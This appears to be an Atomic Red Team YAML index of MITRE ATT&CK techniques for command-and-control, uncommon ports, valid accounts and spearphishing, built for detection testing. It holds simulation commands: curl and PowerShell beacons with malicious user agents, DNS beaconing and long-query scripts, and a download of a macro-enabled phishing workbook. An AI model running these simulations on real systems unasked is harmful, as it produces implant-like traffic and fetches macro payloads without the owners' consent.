atomic_tests:
- name: Malicious User Agents
description: |
This test simulates an infected host beaconing to command and control.
Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat
supported_platforms:
- windows
input_arguments:
domain:
description: Default domain to simulate against
type: string
default: www.google.com
executor:
name: powershell
elevation_required: false
command: |
Invoke-WebRequest #{domain} -UserAgent "HttpBrowser/1.0" | out-null
Invoke-WebRequest #{domain} -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null
Invoke-WebRequest #{domain} -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null
Invoke-WebRequest #{domain} -UserAgent "*<|>*" | out-null
- name: Malicious User Agents - Nix
description: |
This test simulates an infected host beaconing to command and control.
Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat
supported_platforms:
- linux
- macos
input_arguments:
domain:
description: Default domain to simulate against
type: string
default: www.google.com
executor:
name: sh
command: |
curl -s -A "HttpBrowser/1.0" -m3 #{domain}
curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain}
curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain}
curl -s -A "*<|>*" -m3 #{domain}
- name: DNS Large Query Volume
description: |
This test simulates an infected host sending a large volume of DNS queries to a command and control server.
The intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain.
supported_platforms:
- windows
input_arguments:
domain:
description: Default domain to simulate against
type: string
default: example.com
subdomain:
description: Subdomain prepended to the domain name
type: string
default: atomicredteam
query_type:
description: DNS query type
type: string
default: TXT
query_volume:
description: Number of DNS queries to send
type: integer
default: 1000
executor:
name: powershell
elevation_required: false
command: 'for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type
"#{query_type}" "#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}"
-QuickTimeout}
'
- name: DNS Regular Beaconing
description: |
This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time.
This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
supported_platforms:
- windows
input_arguments:
domain:
description: Default domain to simulate against
type: string
default: example.com
subdomain:
description: Subdomain prepended to the domain name
type: string
default: atomicredteam
query_type:
description: DNS query type
type: string
default: TXT
c2_interval:
description: Seconds between C2 requests to the command and control server
type: integer
default: 30
c2_jitter:
description: Percentage of jitter to add to the C2 interval to create variance
in the times between C2 requests
type: integer
default: 20
runtime:
description: Time in minutes to run the simulation
type: integer
default: 30
executor:
name: powershell
elevation_required: false
command: ".\\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain}
-QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter}
-RunTime #{runtime}\n"
- name: DNS Long Domain Query
description: |
This test simulates an infected host returning data to a command and control server using long domain names.
The simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold.
supported_platforms:
- windows
input_arguments:
domain:
description: Default domain to simulate against
type: string
default: example.com
subdomain:
description: Subdomain prepended to the domain name (should be 63 characters
to test maximum length)
type: string
default: atomicredteamatomicredteamatomicredteamatomicredteamatomicredte
query_type:
description: DNS query type
type: string
default: TXT
executor:
name: powershell
elevation_required: false
command: ".\\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain}
-QueryType #{query_type}"
T1065:
technique:
x_mitre_data_sources:
- Netflow/Enclave netflow
- Process use of network
- Process monitoring
name: Uncommonly Used Port
description: Adversaries may conduct C2 communications over a non-standard port
to bypass proxies and firewalls that have been improperly configured.
id: attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
sending significantly more data than it receives from a server). Processes
utilizing the network that do not normally have network communication or have
never been seen before are suspicious. Analyze packet contents to detect communications
that do not follow the expected protocol behavior for the port that is being
used. (Citation: University of Birmingham C2)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_network_requirements: true
created: '2017-05-31T21:30:53.408Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: command-and-control
external_references:
- external_id: T1065
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1065
- source_name: University of Birmingham C2
description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command
& Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
modified: '2019-07-17T21:08:30.100Z'
identifier: T1065
atomic_tests:
- name: Testing usage of uncommonly used port with PowerShell
description: 'Testing uncommonly used port utilizing PowerShell
'
supported_platforms:
- windows
input_arguments:
port:
description: Specify uncommon port number
type: String
default: '8081'
domain:
description: Specify target hostname
type: String
default: google.com
executor:
name: powershell
elevation_required: false
command: 'test-netconnection -ComputerName #{domain} -port #{port}
'
- name: Testing usage of uncommonly used port
description: 'Testing uncommonly used port utilizing telnet.
'
supported_platforms:
- linux
- macos
input_arguments:
port:
description: Specify uncommon port number
type: String
default: '8081'
domain:
description: Specify target hostname
type: String
default: google.com
executor:
name: sh
elevation_required: false
command: 'telnet #{domain} #{port}
'
initial-access:
'':
technique:
x_mitre_data_sources:
- AWS CloudTrail logs
- Stackdriver logs
- Authentication logs
- Process monitoring
x_mitre_permissions_required:
- User
- Administrator
name: Valid Accounts
description: "Adversaries may steal the credentials of a specific user or service
account using Credential Access techniques or capture credentials earlier
in their reconnaissance process through social engineering for means of gaining
Initial Access. \n\nAccounts that an adversary may use can fall into three
categories: default, local, and domain accounts. Default accounts are those
that are built-into an OS such as Guest or Administrator account on Windows
systems or default factory/provider set accounts on other types of systems,
software, or devices. Local accounts are those configured by an organization
for use by users, remote support, services, or for administration on a single
system or service. (Citation: Microsoft Local Accounts Feb 2019) Domain accounts
are those managed by Active Directory Domain Services where access and permissions
are configured across systems and services that are part of that domain. Domain
accounts can cover users, administrators, and services.\n\nCompromised credentials
may be used to bypass access controls placed on various resources on systems
within the network and may even be used for persistent access to remote systems
and externally available services, such as VPNs, Outlook Web Access and remote
desktop. Compromised credentials may also grant an adversary increased privilege
to specific systems or access to restricted areas of the network. Adversaries
may choose not to use malware or tools in conjunction with the legitimate
access those credentials provide to make it harder to detect their presence.\n\nDefault
accounts are also not limited to Guest and Administrator on client machines,
they also include accounts that are preset for equipment such as network devices
and computer applications whether they are internal, open source, or COTS.
Appliances that come preset with a username and password combination pose
a serious threat to organizations that do not change it post installation,
as they are easy targets for an adversary. Similarly, adversaries may also
utilize publicly disclosed private keys, or stolen private keys, to legitimately
connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021)
(Citation: Metasploit SSH Module)\n\nThe overlap of account access, credentials,
and permissions across a network of systems is of concern because the adversary
may be able to pivot across accounts and systems to reach a high level of
access (i.e., domain or enterprise administrator) to bypass access controls
set within the enterprise. (Citation: TechNet Credential Theft)"
id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
modified: '2019-10-23T14:22:11.800Z'
x_mitre_platforms:
- Linux
- macOS
- Windows
- AWS
- GCP
- Azure
- SaaS
- Office 365
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: "Configure robust, consistent account activity audit policies
across the enterprise and with externally accessible services. (Citation:
TechNet Audit Policy) Look for suspicious account behavior across systems
that share accounts, either user, admin, or service accounts. Examples: one
account logged into multiple systems simultaneously; multiple accounts logged
into the same machine simultaneously; accounts logged in at odd times or outside
of business hours. Activity may be from interactive login sessions or process
ownership from accounts being used to execute binaries on a remote system
as a particular account. Correlate other security systems with login information
(e.g., a user has an active login session but has not entered the building
or does not have VPN access).\n\nPerform regular audits of domain and local
system accounts to detect accounts that may have been created by an adversary
for persistence. Checks on these accounts could also include whether default
accounts such as Guest have been activated. These audits should also include
checks on any appliances and applications for default credentials or SSH keys,
and if any are discovered, they should be updated immediately. "
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Netskope
- Mark Wee
- Praetorian
created: '2017-05-31T21:31:00.645Z'
x_mitre_effective_permissions:
- User
- Administrator
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: initial-access
external_references:
- external_id: T1078
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1078
- source_name: capec
external_id: CAPEC-560
url: https://capec.mitre.org/data/definitions/560.html
- description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
11, 2019.
source_name: Microsoft Local Accounts Feb 2019
url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
- description: undefined. (n.d.). Retrieved April 12, 2019.
source_name: Metasploit SSH Module
url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
- source_name: TechNet Credential Theft
description: Microsoft. (2016, April 15). Attractive Accounts for Credential
Theft. Retrieved June 3, 2016.
url: https://technet.microsoft.com/en-us/library/dn535501.aspx
- source_name: TechNet Audit Policy
description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
June 3, 2016.
url: https://technet.microsoft.com/en-us/library/dn487457.aspx
x_mitre_defense_bypassed:
- Firewall
- Host intrusion prevention systems
- Network intrusion detection system
- Process whitelisting
- System access controls
- Anti-virus
atomic_tests: []
T1193:
technique:
x_mitre_data_sources:
- File monitoring
- Packet capture
- Network intrusion detection system
- Detonation chamber
- Email gateway
- Mail server
name: Spearphishing Attachment
description: |-
Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.
There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.
id: attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38
x_mitre_platforms:
- Windows
- macOS
- Linux
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.
Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: initial-access
external_references:
- external_id: T1193
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1193
- source_name: capec
external_id: CAPEC-163
url: https://capec.mitre.org/data/definitions/163.html
modified: '2019-06-24T11:14:19.994Z'
identifier: T1193
atomic_tests:
- name: Download Phishing Attachment - VBScript
description: "The macro-enabled Excel file contains VBScript which opens your
default web browser and opens it to [google.com](http://google.com). \nThe
below will successfully download the macro-enabled Excel file to the current
location.\n"
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |-
if (-not(Test-Path HKLM:SOFTWARE\Classes\Excel.Application)){
return 'Please install Microsoft Excel before running this test.'
}
else{
$url = 'https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1193/PhishingAttachment.xlsm'
$fileName = 'PhishingAttachment.xlsm'
New-Item -Type File -Force -Path $fileName | out-null
$wc = New-Object System.Net.WebClient
$wc.Encoding = [System.Text.Encoding]::UTF8
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
($wc.DownloadString("$url")) | Out-File $fileName
}